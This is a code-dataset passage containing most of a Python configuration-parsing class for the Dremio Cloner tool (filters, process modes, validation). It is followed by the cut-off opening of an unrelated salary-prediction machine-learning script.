False\n\ttarget_endpoint = None\n\ttarget_accept_eula = False\n\ttarget_verify_ssl = True\n\ttarget_username = None\n\ttarget_password = None\n\ttarget_filename = None\n\ttarget_directory = None\n\ttarget_file_or_dir_overwrite = False\n\ttarget_type = None\n\ttarget_dremio_cloud = False\n\ttarget_dremio_cloud_org_id = None\n\ttarget_dremio_cloud_project_id = None\n\tcontainer_filename = \"___container.json\"\n\tdremio_conf_filename = \"___dremio_cloner_conf.json\"\n\t# Options\n\tmax_errors = 9999\n\thttp_timeout = 10 # seconds\n\t# Logging options\n\tlogging_level = logging.INFO\n\tlogging_format = \"%(levelname)s:%(asctime)s:%(message)s\"\n\tlogging_filename = None\n\tlogging_verbose = False\n\t# Processing \n\tuser_process_mode = None\t\t\t\t# Flag to process User: process, skip\n\tgroup_process_mode = None\t\t\t\t# Flag to process Group: process, skip\n\tspace_filter = None\t\t\t\t\t\t# Filter for Space entity type\n\tspace_filter_names = []\t\t\t\t\t# List of Spaces to process if not empty\n\tspace_exclude_filter = None\t\t\t\t# Exclusion Filter for Space entity type\n\tspace_cascade_acl_origin_override_object = None\t# An ACL from this object will be utilized instead of the Space ACL as an ACL to set inside all Folders and VDSs in the Space\n\tspace_folder_filter = None\t\t\t\t# Filter for Space Folder entity type\n\tspace_folder_filter_paths = [] \t\t# List of Space Folder paths (as regex) to process if not empty\n\tspace_folder_exclude_filter = None\t\t# Exclusion Filter for Space Folder entity type\n\tspace_folder_exclude_filter_paths = []\t# List of Space Folder paths (as regex) to exclude if not empty\n\tspace_folder_cascade_acl_origin_filter = None\t# Filter for folders that will be used as ACL origins if specified\n\tspace_process_mode = None\t\t\t\t# Flag to process Space: process, skip, create_only, update_only, create_overwrite\n\tspace_ignore_missing_acl_user = False\t# Flag to write a Space if an ACL user is missing in the target Dremio environment\n\tspace_ignore_missing_acl_group = False\t# Flag to write a Space if an ACL group is missing in the target Dremio environment\n\tsource_filter = None\t\t\t\t\t# Filter for Source entity type\n\tsource_filter_names = []\t\t\t\t# List of Sources to process if not empty\n\tsource_filter_types = []\t\t\t\t# List of Source Types to process if not empty\n\tsource_exclude_filter = None\t\t\t# Exclusion Filter for Source entity type\n\tsource_cascade_acl_origin_override_object = None\t# An ACL from this object will be utilized instead of the Source ACL as an ACL to set inside all PDS in the Source\n\tsource_folder_filter = None\t\t\t\t# Filter for Source Folder entity type\n\tsource_folder_filter_paths = [] \t\t# List of Source Folder paths (as regex) to process if not empty\n\tsource_folder_exclude_filter = None\t\t# Exclusion Filter for Source Folder entity type\n\tsource_process_mode = None\t\t\t\t# Flag to process Sources: process, skip, create_only, update_only, create_overwrite\n\tsource_ignore_missing_acl_user = False\t# Flag to write a Source if an ACL user is missing in the target Dremio environment\n\tsource_ignore_missing_acl_group = False\t# Flag to write a Source if an ACL group is missing in the target Dremio environment\n\tsource_retry_timedout = False\t\t\t# Flag to retry Sources that timed out\n\tfolder_process_mode = None\t\t\t\t# Flag to process Folder: process, skip, create_only, update_only, create_overwrite, create_overwrite_delete\n\tfolder_ignore_missing_acl_user = False\t# Flag to write a Folder if an ACL user is missing in the target Dremio environment\n\tfolder_ignore_missing_acl_group = False\t# Flag to write a Folder if an ACL group is missing in the target Dremio environment\n\tpds_list_useapi = False\t\t\t\t\t# Using API for listing PDS may cause issues when the source is not available at the runtime\n\tpds_filter = None\t\t\t\t\t\t# Filter for PDS\n\tpds_filter_names = [] \t\t\t\t\t# List of PDSs to process if not empty\n\tpds_exclude_filter = None\t\t\t\t# Exclusion Filter for PDS\n\tpds_process_mode = None\t\t\t\t\t# Flag to process Source PDS: process, skip, promote\n\tpds_ignore_missing_acl_user = False\t\t# Flag to write a Source PDS if an ACL user is missing in the target Dremio environment\n\tpds_ignore_missing_acl_group = False\t# Flag to write a Source PDS if an ACL group is missing in the target Dremio environment\n\tvds_filter = None\t\t\t\t\t\t# Filter for VDS\n\tvds_filter_names = [] \t\t\t\t\t# List of VDSs to process if not empty\n\tvds_filter_tag = None\t\t\t\t\t# Filter for VDS\n\tvds_exclude_filter = None\t\t\t\t# Exclusion Filter for VDS\n\tvds_exclude_filter_paths = []\t\t\t# List of VDS paths (as regex) to exclude if not empty\n\tvds_process_mode = None\t\t\t\t\t# Flag to process VDS: process, skip, create_only, update_only, create_overwrite, create_overwrite_delete\n\tvds_dependencies_process_mode = 'ignore' # Flag to process VDS dependencies (VDS and PDS): ignore, get\n\tvds_ignore_missing_acl_user = False\t\t# Flag to write a VDS if an ACL user is missing in the target Dremio environment\n\tvds_ignore_missing_acl_group = False\t# Flag to write a VDS if an ACL group is missing in the target Dremio environment\n\tvds_max_hierarchy_depth = 100\t\t\t# The max hierarchy depth to process\n\treflection_process_mode = None\t\t\t# Flag to process reflection: process, skip, create_only, update_only, create_overwrite, create_overwrite_delete\n\treflection_filter_mode = None\t\t\t# Flag to filter reflection: apply_vds_pds_filter\n\treflection_id_include_list = []\t\t\t# List of reflection ids to include. Empty list means include all reflections which is the default behaviour\n\treflection_refresh_mode = 'skip' \t\t# Flag to refresh reflections: refresh, skip\n\treflection_only_matching_vds = False \t# Flag to export only reflections which have a matching VDS. The old and standard behavior is exporting all reflections, regardless\n\twlm_queue_process_mode = 'process'\t\t# Flag to process WLM Queues: process, skip\n\twlm_rule_process_mode = 'process'\t\t# Flag to process WLM Rules: process, skip\n\twiki_process_mode = 'process'\t\t\t# Flag to process Wikis: process, skip, create_only, update_only, create_overwrite\n\ttag_process_mode ='process'\t\t\t\t# Flag to process Tags: process, skip\n\thome_process_mode = 'process'\t\t\t# Flag to process Homes: process, skip\n\tvote_process_mode = 'process'\t\t\t# Flag to process Votes: process, skip\n\tacl_transformation = {}\t\t\t\t\t# Contains all ACL transformation definitions\n\tsource_transformation = {} \t\t\t# Contains all source transformation definitions\n\t# Delete VDS List\n\tdelete_vds = []\t\t\t\t\t\t\t# List of VDS to delete from the target environment\n\tdelete_folders = []\t\t\t\t\t\t# List of Folders to delete from the target environment\n\n\n\t# Report options\n\treport_csv_delimiter = \"\\t\"\n\treport_csv_newline = \"\\n\"\n\t# Misc options\n\t# Compiled filters\n\t_space_filter_re = None\n\t_space_exclude_filter_re = None\n\t_space_folder_filter_re = None\n\t_space_folder_exclude_filter_re = None\n\t_space_folder_cascade_acl_origin_filter_re = None\n\t_source_filter_re = None\n\t_source_exclude_filter_re = None\n\t_source_folder_filter_re = None\n\t_source_folder_exclude_filter_re = None\n\t_pds_filter_re = None\n\t_pds_exclude_filter_re = None\n\t_vds_filter_re = None\n\t_vds_exclude_filter_re = None\n\n\tdef __init__(self, config_file_name):\n\t\t# Read configuration file\n\t\tif sys.version_info.major > 2:\n\t\t\tf_open = lambda filename: open(filename, \"r\",encoding='utf-8')\n\t\telse:\n\t\t\tf_open = lambda filename: open(filename, \"r\")\n\n\t\tf = f_open(config_file_name)\n\n\t\tcloner_conf_json_tmp = json.load(f)\n\t\tstdout_logging = False\n\t\tif 'dremio_get_config' in cloner_conf_json_tmp:\n\t\t\tself.cloner_conf_json = cloner_conf_json_tmp['dremio_get_config']\n\t\t\tstdout_logging = True\n\t\telif 'data' in cloner_conf_json_tmp:\n\t\t\tfor el in cloner_conf_json_tmp['data']:\n\t\t\t\tif 'dremio_get_config' in el:\n\t\t\t\t\tself.cloner_conf_json = el['dremio_get_config']\n\t\t\t\t\tstdout_logging = True\n\t\t\t\t\tbreak\n\t\telse:\n\t\t\t# old behaviour\n\t\t\tself.cloner_conf_json = cloner_conf_json_tmp['dremio_cloner']\n\n\t\tf.close()\n\t\tfor element in self.cloner_conf_json:\n\t\t\tif 'command' in element:\n\t\t\t\tself._process_command(element)\n\t\t\telif 'source' in element:\n\t\t\t\tself._process_source(element)\n\t\t\telif 'target' in element:\n\t\t\t\tself._process_target(element)\n\t\t\telif 'options' in element:\n\t\t\t\tself._process_options(element)\n\t\tif self.logging_filename == \"STDOUT\" or stdout_logging:\n\t\t\troot = logging.getLogger()\n\t\t\troot.setLevel(self.logging_level)\n\t\t\thandler = logging.StreamHandler(sys.stdout)\n\t\t\thandler.setLevel(logging.DEBUG)\n\t\t\tformatter = logging.Formatter(self.logging_format)\n\t\t\thandler.setFormatter(formatter)\n\t\t\troot.addHandler(handler)\n\t\t\thandler = logging.StreamHandler(sys.stderr)\n\t\t\thandler.setLevel(logging.ERROR)\n\t\t\tformatter = logging.Formatter(self.logging_format)\n\t\t\thandler.setFormatter(formatter)\n\t\t\troot.addHandler(handler)\n\t\telse:\n\t\t\thandlers = [logging.FileHandler(filename=self.logging_filename, encoding='utf-8', mode='a+')]\n\t\t\tlogging.basicConfig(handlers=handlers, format=self.logging_format, level=self.logging_level)\n\t\tself._logger = DremioClonerLogger(self.max_errors, self.logging_verbose)\n\t\tself._validate_configuration()\n\n\tdef _process_command(self, json_conf):\n\t\tself.command = json_conf['command']\n\n\tdef _process_target(self, json_conf):\n\t\tfor item in json_conf['target']:\n\t\t\tif 'endpoint' in item:\n\t\t\t\tself.target_endpoint = item['endpoint']\n\t\t\tif 'accept_eula' in item:\n\t\t\t\tself.target_accept_eula = self._bool(item, 'accept_eula')\n\t\t\telif 'username' in item:\n\t\t\t\tself.target_username = item['username']\n\t\t\telif 'password' in item:\n\t\t\t\tself.target_password = item['password']\n\t\t\telif 'filename' in item:\n\t\t\t\tself.target_filename = item['filename']\n\t\t\telif 'directory' in item:\n\t\t\t\tself.target_directory = item['directory']\n\t\t\telif 'overwrite' in item:\n\t\t\t\tself.target_file_or_dir_overwrite = self._bool(item, 'overwrite')\n\t\t\telif 'verify_ssl' in item:\n\t\t\t\tself.target_verify_ssl = self._bool(item, 'verify_ssl')\n\t\t\telif 'is_community_edition' in item:\n\t\t\t\tself.target_ce = self._bool(item, 'is_community_edition')\n\t\t\telif 'target.type' in item:\n\t\t\t\tself.target_type = self._str(item, 'target.type')\n\t\t\telif 'is_dremio_cloud' in item:\n\t\t\t\tself.target_dremio_cloud = self._bool(item, 'is_dremio_cloud')\n\t\t\telif 'dremio_cloud_org_id' in item:\n\t\t\t\tself.target_dremio_cloud_org_id = item['dremio_cloud_org_id']\n\t\t\telif 'dremio_cloud_project_id' in item:\n\t\t\t\tself.target_dremio_cloud_project_id = item['dremio_cloud_project_id']\n\n\tdef _process_source(self, json_conf):\n\t\tfor item in json_conf['source']:\n\t\t\tif 'endpoint' in item:\n\t\t\t\tself.source_endpoint = item['endpoint']\n\t\t\telif 'username' in item:\n\t\t\t\tself.source_username = item['username']\n\t\t\telif 'password' in item:\n\t\t\t\tself.source_password = item['password']\n\t\t\telif 'filename' in item:\n\t\t\t\tself.source_filename = item['filename']\n\t\t\telif 'directory' in item:\n\t\t\t\tself.source_directory = item['directory']\n\t\t\telif 'verify_ssl' in item:\n\t\t\t\tself.source_verify_ssl = self._bool(item, 'verify_ssl')\n\t\t\telif 'is_community_edition' in item:\n\t\t\t\tself.source_ce = self._bool(item, 'is_community_edition')\n\t\t\telif 'graph_api_support' in item:\n\t\t\t\tself.source_graph_support = self._bool(item, 'graph_api_support')\n\t\t\telif 'job-sql' in item:\n\t\t\t\tself.job_sql = self._str(item, 'job-sql')\n\t\t\telif 'is_rbac_version' in item:\n\t\t\t\tself.source_rbac = self._bool(item, 'is_rbac_version')\n\t\t\telif 'is_dremio_cloud' in item:\n\t\t\t\tself.source_dremio_cloud = self._bool(item, 'is_dremio_cloud')\n\t\t\telif 'dremio_cloud_org_id' in item:\n\t\t\t\tself.source_dremio_cloud_org_id = item['dremio_cloud_org_id']\n\t\t\telif 'dremio_cloud_project_id' in item:\n\t\t\t\tself.source_dremio_cloud_project_id = item['dremio_cloud_project_id']\n\n\tdef _process_options(self, json_conf):\n\t\tfor item in json_conf['options']:\n\t\t\tif 'dry_run' in item:\n\t\t\t\tself.dry_run = self._bool(item, 'dry_run')\n\t\t\telif 'max_errors' in item:\n\t\t\t\tself.max_errors = self._eval(item, 'max_errors')\n\t\t\telif 'logging.level' in item:\n\t\t\t\tself.logging_level = self._eval(item, 'logging.level')\n\t\t\telif 'logging.format' in item:\n\t\t\t\tself.logging_format = self._str(item, 'logging.format')\n\t\t\telif 'logging.filename' in item:\n\t\t\t\tself.logging_filename = self._str(item, 'logging.filename')\n\t\t\telif 'logging.verbose' in item:\n\t\t\t\tself.logging_verbose = self._bool(item, 'logging.verbose')\n\t\t\telif 'http_timeout' in item:\n\t\t\t\tself.http_timeout = self._int(item, 'http_timeout')\n\t\t\telif 'user.process_mode' in item:\n\t\t\t\tself.user_process_mode = self._str(item, 'user.process_mode')\n\t\t\telif 'group.process_mode' in item:\n\t\t\t\tself.group_process_mode = self._str(item, 'group.process_mode')\n\t\t\telif 'space.process_mode' in item:\n\t\t\t\tself.space_process_mode = self._str(item, 'space.process_mode')\n\t\t\telif 'space.filter' in item:\n\t\t\t\tself.space_filter = self._str(item, 'space.filter')\n\t\t\t\tself._space_filter_re = self._compile_pattern(self.space_filter)\n\t\t\telif 'space.filter.names' in item:\n\t\t\t\tself.space_filter_names = self._array(item, 'space.filter.names')\n\t\t\telif 'space.exclude.filter' in item:\n\t\t\t\tself.space_exclude_filter = self._str(item, 'space.exclude.filter')\n\t\t\t\tself._space_exclude_filter_re = self._compile_pattern(self.space_exclude_filter)\n\t\t\telif 'space.cascade-acl-origin.override-object' in item:\n\t\t\t\tself.space_cascade_acl_origin_override_object = self._str(item, 'space.cascade-acl-origin.override-object')\n\t\t\telif 'space.folder.filter' in item:\n\t\t\t\tself.space_folder_filter = self._str(item, 'space.folder.filter')\n\t\t\t\tself._space_folder_filter_re = self._compile_pattern(self.space_folder_filter)\n\t\t\telif 'space.folder.filter.paths' in item:\n\t\t\t\tself.space_folder_filter_paths = self._array(item, 'space.folder.filter.paths')\n\t\t\telif 'space.folder.exclude.filter' in item:\n\t\t\t\tself.space_folder_exclude_filter = self._str(item, 'space.folder.exclude.filter')\n\t\t\t\tself._space_folder_exclude_filter_re = self._compile_pattern(self.space_folder_exclude_filter)\n\t\t\telif 'space.folder.exclude.filter.paths' in item:\n\t\t\t\tself.space_folder_exclude_filter_paths = self._array(item, 'space.folder.exclude.filter.paths')\n\t\t\telif 'space.folder.cascade-acl-origin.filter' in item:\n\t\t\t\tself.space_folder_cascade_acl_origin_filter = self._str(item, 'space.folder.cascade-acl-origin.filter')\n\t\t\t\tself._space_folder_cascade_acl_origin_filter_re = self._compile_pattern(self.space_folder_cascade_acl_origin_filter)\n\t\t\telif 'space.ignore_missing_acl_user' in item:\n\t\t\t\tself.space_ignore_missing_acl_user = self._bool(item, 'space.ignore_missing_acl_user')\n\t\t\telif 'space.ignore_missing_acl_group' in item:\n\t\t\t\tself.space_ignore_missing_acl_group = self._bool(item, 'space.ignore_missing_acl_group')\n\t\t\telif 'source.process_mode' in item:\n\t\t\t\tself.source_process_mode = self._str(item, 'source.process_mode')\n\t\t\telif 'source.filter.names' in item:\n\t\t\t\tself.source_filter_names = self._array(item, 'source.filter.names')\n\t\t\telif 'source.filter.types' in item:\n\t\t\t\tself.source_filter_types = self._array(item, 'source.filter.types')\n\t\t\telif 'source.filter' in item:\n\t\t\t\tself.source_filter = self._str(item, 'source.filter')\n\t\t\t\tself._source_filter_re = self._compile_pattern(self.source_filter)\n\t\t\telif 'source.exclude.filter' in item:\n\t\t\t\tself.source_exclude_filter = self._str(item, 'source.exclude.filter')\n\t\t\t\tself._source_exclude_filter_re = self._compile_pattern(self.source_exclude_filter)\n\t\t\telif 'source.folder.filter' in item:\n\t\t\t\tself.source_folder_filter = self._str(item, 'source.folder.filter')\n\t\t\t\tself._source_folder_filter_re = self._compile_pattern(self.source_folder_filter)\n\t\t\telif 'source.folder.filter.paths' in item:\n\t\t\t\tself.source_folder_filter_paths = self._array(item, 'source.folder.filter.paths')\n\t\t\telif 'source.cascade-acl-origin.override-object' in item:\n\t\t\t\tself.source_cascade_acl_origin_override_object = self._str(item, 'source.cascade-acl-origin.override-object')\n\t\t\telif 'source.folder.exclude.filter' in item:\n\t\t\t\tself.source_folder_exclude_filter = self._str(item, 'source.folder.exclude.filter')\n\t\t\t\tself._source_folder_exclude_filter_re = self._compile_pattern(self.source_folder_exclude_filter)\n\t\t\telif 'source.ignore_missing_acl_user' in item:\n\t\t\t\tself.source_ignore_missing_acl_user = self._bool(item, 'source.ignore_missing_acl_user')\n\t\t\telif 'source.ignore_missing_acl_group' in item:\n\t\t\t\tself.source_ignore_missing_acl_group = self._bool(item, 'source.ignore_missing_acl_group')\n\t\t\telif 'source.retry_timedout' in item:\n\t\t\t\tself.source_retry_timedout = self._bool(item, 'source.retry_timedout')\n\t\t\telif 'folder.process_mode' in item:\n\t\t\t\tself.folder_process_mode = self._str(item, 'folder.process_mode')\n\t\t\telif 'folder.ignore_missing_acl_user' in item:\n\t\t\t\tself.folder_ignore_missing_acl_user = self._bool(item, 'folder.ignore_missing_acl_user')\n\t\t\telif 'folder.ignore_missing_acl_group' in item:\n\t\t\t\tself.folder_ignore_missing_acl_group = self._bool(item, 'folder.ignore_missing_acl_group')\n\t\t\telif 'pds.process_mode' in item:\n\t\t\t\tself.pds_process_mode = self._str(item, 'pds.process_mode')\n\t\t\telif 'pds.list.useapi' in item:\n\t\t\t\tself.pds_list_useapi = self._bool(item, 'pds.list.useapi')\n\t\t\telif 'pds.filter' in item:\n\t\t\t\tself.pds_filter = self._str(item, 'pds.filter')\n\t\t\t\tself._pds_filter_re = self._compile_pattern(self.pds_filter)\n\t\t\telif 'pds.filter.names' in item:\n\t\t\t\tself.pds_filter_names = self._array(item, 'pds.filter.names')\n\t\t\telif 'pds.exclude.filter' in item:\n\t\t\t\tself.pds_exclude_filter = self._str(item, 'pds.exclude.filter')\n\t\t\t\tself._pds_exclude_filter_re = self._compile_pattern(self.pds_exclude_filter)\n\t\t\telif 'pds.ignore_missing_acl_user' in item:\n\t\t\t\tself.pds_ignore_missing_acl_user = self._bool(item, 'pds.ignore_missing_acl_user')\n\t\t\telif 'pds.ignore_missing_acl_group' in item:\n\t\t\t\tself.pds_ignore_missing_acl_group = self._bool(item, 'pds.ignore_missing_acl_group')\n\t\t\telif 'vds.process_mode' in item:\n\t\t\t\tself.vds_process_mode = self._str(item, 'vds.process_mode')\n\t\t\telif 'vds.dependencies.process_mode' in item:\n\t\t\t\tself.vds_dependencies_process_mode = self._str(item, 'vds.dependencies.process_mode')\n\t\t\telif 'vds.filter' in item:\n\t\t\t\tself.vds_filter = self._str(item, 'vds.filter')\n\t\t\t\tself._vds_filter_re = self._compile_pattern(self.vds_filter)\n\t\t\telif 'vds.filter.names' in item:\n\t\t\t\tself.vds_filter_names = self._array(item, 'vds.filter.names')\n\t\t\telif 'vds.filter.tag' in item:\n\t\t\t\tself.vds_filter_tag = self._str(item, 'vds.filter.tag')\n\t\t\telif 'vds.exclude.filter' in item:\n\t\t\t\tself.vds_exclude_filter = self._str(item, 'vds.exclude.filter')\n\t\t\t\tself._vds_exclude_filter_re = self._compile_pattern(self.vds_exclude_filter)\n\t\t\telif 'vds.exclude.filter.paths' in item:\n\t\t\t\tself.vds_exclude_filter_paths = self._array(item, 'vds.exclude.filter.paths')\n\t\t\telif 'vds.ignore_missing_acl_user' in item:\n\t\t\t\tself.vds_ignore_missing_acl_user = self._bool(item, 'vds.ignore_missing_acl_user')\n\t\t\telif 'vds.ignore_missing_acl_group' in item:\n\t\t\t\tself.vds_ignore_missing_acl_group = self._bool(item, 'vds.ignore_missing_acl_group')\n\t\t\telif 'vds.max_hierarchy_depth' in item:\n\t\t\t\tself.vds_max_hierarchy_depth = self._int(item, 'vds.max_hierarchy_depth')\n\t\t\t# Reflection options\n\t\t\telif 'reflection.process_mode' in item:\n\t\t\t\tself.reflection_process_mode = self._str(item, 'reflection.process_mode')\n\t\t\telif 'reflection.filter_mode' in item:\n\t\t\t\tself.reflection_filter_mode = self._str(item, 'reflection.filter_mode')\n\t\t\telif 'pds.reflection_refresh_mode' in item:\n\t\t\t\tself.reflection_refresh_mode = self._str(item, 'pds.reflection_refresh_mode')\n\t\t\telif 'reflection.id_include_list' in item:\n\t\t\t\tself.reflection_id_include_list = self._array(item, 'reflection.id_include_list')\n\t\t\telif 'reflection.only_for_matching_vds' in item:\n\t\t\t\tself.reflection_only_matching_vds = self._bool(item, 'reflection.only_for_matching_vds')\n\t\t\t# Report Options\n\t\t\telif 'report.csv.delimiter' in item:\n\t\t\t\tself.report_csv_delimiter = self._str(item, 'report.csv.delimiter')\n\t\t\telif 'report.csv.newline' in item:\n\t\t\t\tself.report_csv_newline = self._str(item, 'report.csv.newline')\n\t\t\t# Misc options\n\t\t\telif 'wlm.queue.process_mode' in item:\n\t\t\t\tself.wlm_queue_process_mode = self._str(item, 'wlm.queue.process_mode')\n\t\t\telif 'wlm.rule.process_mode' in item:\n\t\t\t\tself.wlm_rule_process_mode = self._str(item, 'wlm.rule.process_mode')\n\t\t\telif 'wiki.process_mode' in item:\n\t\t\t\tself.wiki_process_mode = self._str(item, 'wiki.process_mode')\n\t\t\telif 'tag.process_mode' in item:\n\t\t\t\tself.tag_process_mode = self._str(item, 'tag.process_mode')\n\t\t\telif 'home.process_mode' in item:\n\t\t\t\tself.home_process_mode = self._str(item, 'home.process_mode')\n\t\t\telif 'vote.process_mode' in item:\n\t\t\t\tself.vote_process_mode = self._str(item, 'vote.process_mode')\n\t\t\telif 'transformation' in item:\n\t\t\t\tif 'acl' in item['transformation']:\n\t\t\t\t\tacl_transformation_filename = self._str(item['transformation']['acl'], 'file')\n\t\t\t\t\tf = open(acl_transformation_filename, \"r\")\n\t\t\t\t\tself.acl_transformation = json.load(f)['acl-transformation']\n\t\t\t\t\tf.close()\n\t\t\t\tif 'source' in item['transformation']:\n\t\t\t\t\tsource_transformation_filename = self._str(item['transformation']['source'], 'file')\n\t\t\t\t\tf = open(source_transformation_filename, \"r\")\n\t\t\t\t\tself.source_transformation = json.load(f)['source-transformation']\n\t\t\t\t\tf.close()\n\t\t\telif 'vds.delete_list' in item:\n\t\t\t\tself.delete_vds = self._str_array(item, 'vds.delete_list')\n\t\t\telif 'folder.delete_list' in item:\n\t\t\t\tself.delete_folders = self._str_array(item, 'folder.delete_list')\n\n\tdef _validate_configuration(self):\n\t\tif (self.command is None):\n\t\t\tself._logger.fatal(\"missing 'command' entry.\")\n\t\telif self.command == self.CMD_GET and (self.source_endpoint is None or self.source_username is None or self.source_password is None or (self.target_filename is None and self.target_directory is None)):\n\t\t\tself._logger.fatal(\"Invalid configuration for command 'get'.\")\n\t\telif self.command == self.CMD_PUT and ((self.source_filename is None and self.source_directory is None) or self.target_endpoint is None or self.target_username is None or self.target_password is None):\n\t\t\tself._logger.fatal(\"Invalid configuration for command 'get'.\")\n\t\telif self.command == self.CMD_REPORT_ACL and (self.source_endpoint is None or self.source_username is None or self.source_password is None or self.target_filename is None):\n\t\t\tself._logger.fatal(\"Invalid configuration for command 'report-acl'.\")\n\n\t\tif (self.command == self.CMD_PUT and (self.space_process_mode is None or\n\t\t\t (self.space_process_mode != 'skip' and self.space_process_mode != 'update_only' and \n\t\t\t \tself.space_process_mode != 'create_only' and self.space_process_mode != 'create_overwrite'))):\n\t\t\tself._logger.fatal(\"Invalid configuration for space.process_mode.\")\n\t\tif (self.command == self.CMD_PUT and (self.source_process_mode is None or\n\t\t\t (self.source_process_mode != 'skip' and self.source_process_mode != 'update_only' and \n\t\t\t \tself.source_process_mode != 'create_only' and self.source_process_mode != 'create_overwrite'))):\n\t\t\tself._logger.fatal(\"Invalid configuration for source.process_mode.\")\n\t\tif (self.command == self.CMD_PUT and (self.pds_process_mode is None or\n\t\t\t (self.pds_process_mode != 'skip' and self.pds_process_mode != 'promote'))):\n\t\t\tself._logger.fatal(\"Invalid configuration for pds.process_mode.\")\n\t\tif (self.command == self.CMD_PUT and (self.vds_process_mode is None or\n\t\t\t (self.vds_process_mode != 'skip' and self.vds_process_mode != 'update_only' and \n\t\t\t \tself.vds_process_mode != 'create_only' and self.vds_process_mode != 'create_overwrite' and\n\t\t\t\t \tself.vds_process_mode != 'create_overwrite_delete' ))):\n\t\t\tself._logger.fatal(\"Invalid configuration for vds.process_mode.\")\n\t\t# Make sure we do not overwrite JSON environment file\n\t\tif (self.command == self.CMD_GET and self.target_filename is not None and not self.target_file_or_dir_overwrite and os.path.isfile(self.target_filename)):\n\t\t\tself._logger.fatal(\"File \" + str(self.target_filename) + \" already exists. Cannot overwrite.\")\n\t\tif (self.command == self.CMD_GET and self.target_directory is not None and not self.target_file_or_dir_overwrite and os.path.isdir(self.target_directory)):\n\t\t\tself._logger.fatal(\"Directory \" + str(self.target_directory) + \" already exists. Cannot overwrite.\")\n\t\tif (self.command == self.CMD_REPORT_ACL and os.path.isfile(self.target_filename)):\n\t\t\tself._logger.fatal(\"File \" + str(self.target_filename) + \" already exists. Cannot overwrite.\")\n\t\tif self.command == self.CMD_REPORT_ACL:\n\t\t\t# make sure sources and PDSs get processed\n\t\t\tself.source_process_mode = \"process\"\n\t\t\tself.pds_process_mode = \"process\"\n\n\tdef _bool(self, conf, param_name):\n\t\tif (param_name in conf):\n\t\t\ttry:\n\t\t\t\treturn eval(conf[param_name].title())\n\t\t\texcept NameError:\n\t\t\t\tself._logger.fatal(\"Invalid boolean value for parameter \" + param_name)\n\t\telse:\n\t\t\treturn None\n\n\tdef _array(self, conf, param_name):\n\t\tif (param_name in conf):\n\t\t\ttry:\n\t\t\t\treturn conf[param_name]\n\t\t\texcept:\n\t\t\t\tself._logger.fatal(\"Invalid array value for parameter \" + param_name)\n\t\telse:\n\t\t\treturn None\n\n\tdef _int(self, conf, param_name):\n\t\tif (param_name in conf):\n\t\t\ttry:\n\t\t\t\treturn int(conf[param_name])\n\t\t\texcept:\n\t\t\t\tself._logger.fatal(\"Invalid integer value for parameter \" + param_name)\n\t\telse:\n\t\t\treturn None\n\n\tdef _str(self, conf, param_name):\n\t\tif (param_name in conf and not conf[param_name] == \"\"):\n\t\t\treturn conf[param_name]\n\t\treturn None\n\n\tdef _str_array(self, conf, param_name):\n\t\tif (param_name in conf and not conf[param_name] == \"\"):\n\t\t\treturn conf[param_name]\n\t\treturn None\n\n\tdef _eval(self, conf, param_name):\n\t\tif (param_name in conf):\n\t\t\ttry:\n\t\t\t\treturn eval(conf[param_name])\n\t\t\texcept:\n\t\t\t\tself._logger.fatal(\"Invalid value for parameter \" + param_name)\n\t\telse:\n\t\t\treturn None\n \n\n\tdef _compile_pattern(self, pattern):\n\t\tif pattern is None:\n\t\t\treturn None\n\t\treturn re.compile(fnmatch.translate(pattern))\n\n","repo_name":"deane-dremio/dremio-cloner","sub_path":"src/DremioClonerConfig.py","file_name":"DremioClonerConfig.py","file_ext":"py","file_size_in_byte":26490,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"} +{"seq_id":"41584024692","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSalary Prediction ML Model\n\n@author Stanislav Kharchenko\n\n\n\nDataset Column Descriptions: \n \nage: continuous.\nworkclass: Private, Self-emp-not-inc, Self-emp-inc, Federal-gov, Local-gov, State-gov, Without-pay, Never-worked.\nfnlwgt: continuous.\neducation: Bachelors, Some-college, 11th, HS-grad, Prof-school, Assoc-acdm, Assoc-voc, 9th, 7th-8th, 12th, Masters, 1st-4th, 10th, Doctorate, 5th-6th, Preschool.\neducation-num: continuous.\nmarital-status: Married-civ-spouse, Divorced, Never-married, Separated, Widowed, Married-spouse-absent, Married-AF-spouse.\noccupation: Tech-support, Craft-repair, Other-service, Sales, Exec-managerial, Prof-specialty, Handlers-cleaners, Machine-op-inspct, Adm-clerical, Farming-fishing, Transport-moving, Priv-house-serv, Protective-serv, Armed-Forces.\nrelationship: Wife, Own-child, Husband, Not-in-family, Other-relative, Unmarried.\nrace: White, Asian-Pac-Islander, Amer-Indian-Eskimo, Other, Black.\nsex: Female, Male.\ncapital-gain: continuous.\ncapital-loss: continuous.\nhours-per-week: continuous.\nnative-country: United-States, Cambodia, England, Puerto-Rico, Canada, Germany, Outlying-US(Guam-USVI-etc), India, Japan, Greece, South, China, Cuba, Iran, Honduras, Philippines, Italy, Poland, Jamaica, Vietnam, Mexico, Portugal, Ireland, France, Dominican-Republic, Laos, Ecuador, Taiwan, Haiti, Columbia, Hungary, Guatemala, Nicaragua, Scotland, Thailand, Yugoslavia, El-Salvador, Trinadad&Tobago, Peru, Hong, Holand-Netherlands.\nsalary: <=50K or >50K\n\n\n\n\n\"\"\"\n# TODO add link to Kaggle dataset\n\n# %% \n\"\"\"\n0) Importing relevant libraries and set global variables\n\n\"\"\"\n\nimport re\nimport pickle\nimport typing \nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom pathlib import Path\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score, classification_report, confusion_matrix, roc_auc_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder, OrdinalEncoder\n\n\n\n# Global Variables \ndata_name: str = \"salary.csv\" # name of the dataset\nseed: int = 4634 # random state for train/test split\nnum_trees: int = 1000 # number of trees for boosting \ntest_proportion: float = 0.3 # Proportion of the test set for Test/Train split\n\n\n# Flags\n\nsave_as_sav: bool = False\n\n\n# %%\n\"\"\"\n1) Loading the dataframe\n\n\"\"\"\n\n\n\n# Load Data\nsalary_data: pd.DataFrame = pd.read_csv(data_name)\n\n# Check first 10 rows\n\nsalary_data.sample(10)\ninitial_rows: int = salary_data.shape[0]\n\n\n\n# %%\n\n\"\"\"\n2) Cleaning Data\n \n * Replace missing values with the mode of each column\n * Remove redundant dimnesions (fnlwgt, education-num, relationship, capital-loss/gain)\n * Reduce marital-status to binary outcomes (married, not married)\n * Replace native-country value with \"developing\" and \"developed\"\n * Convert outcome 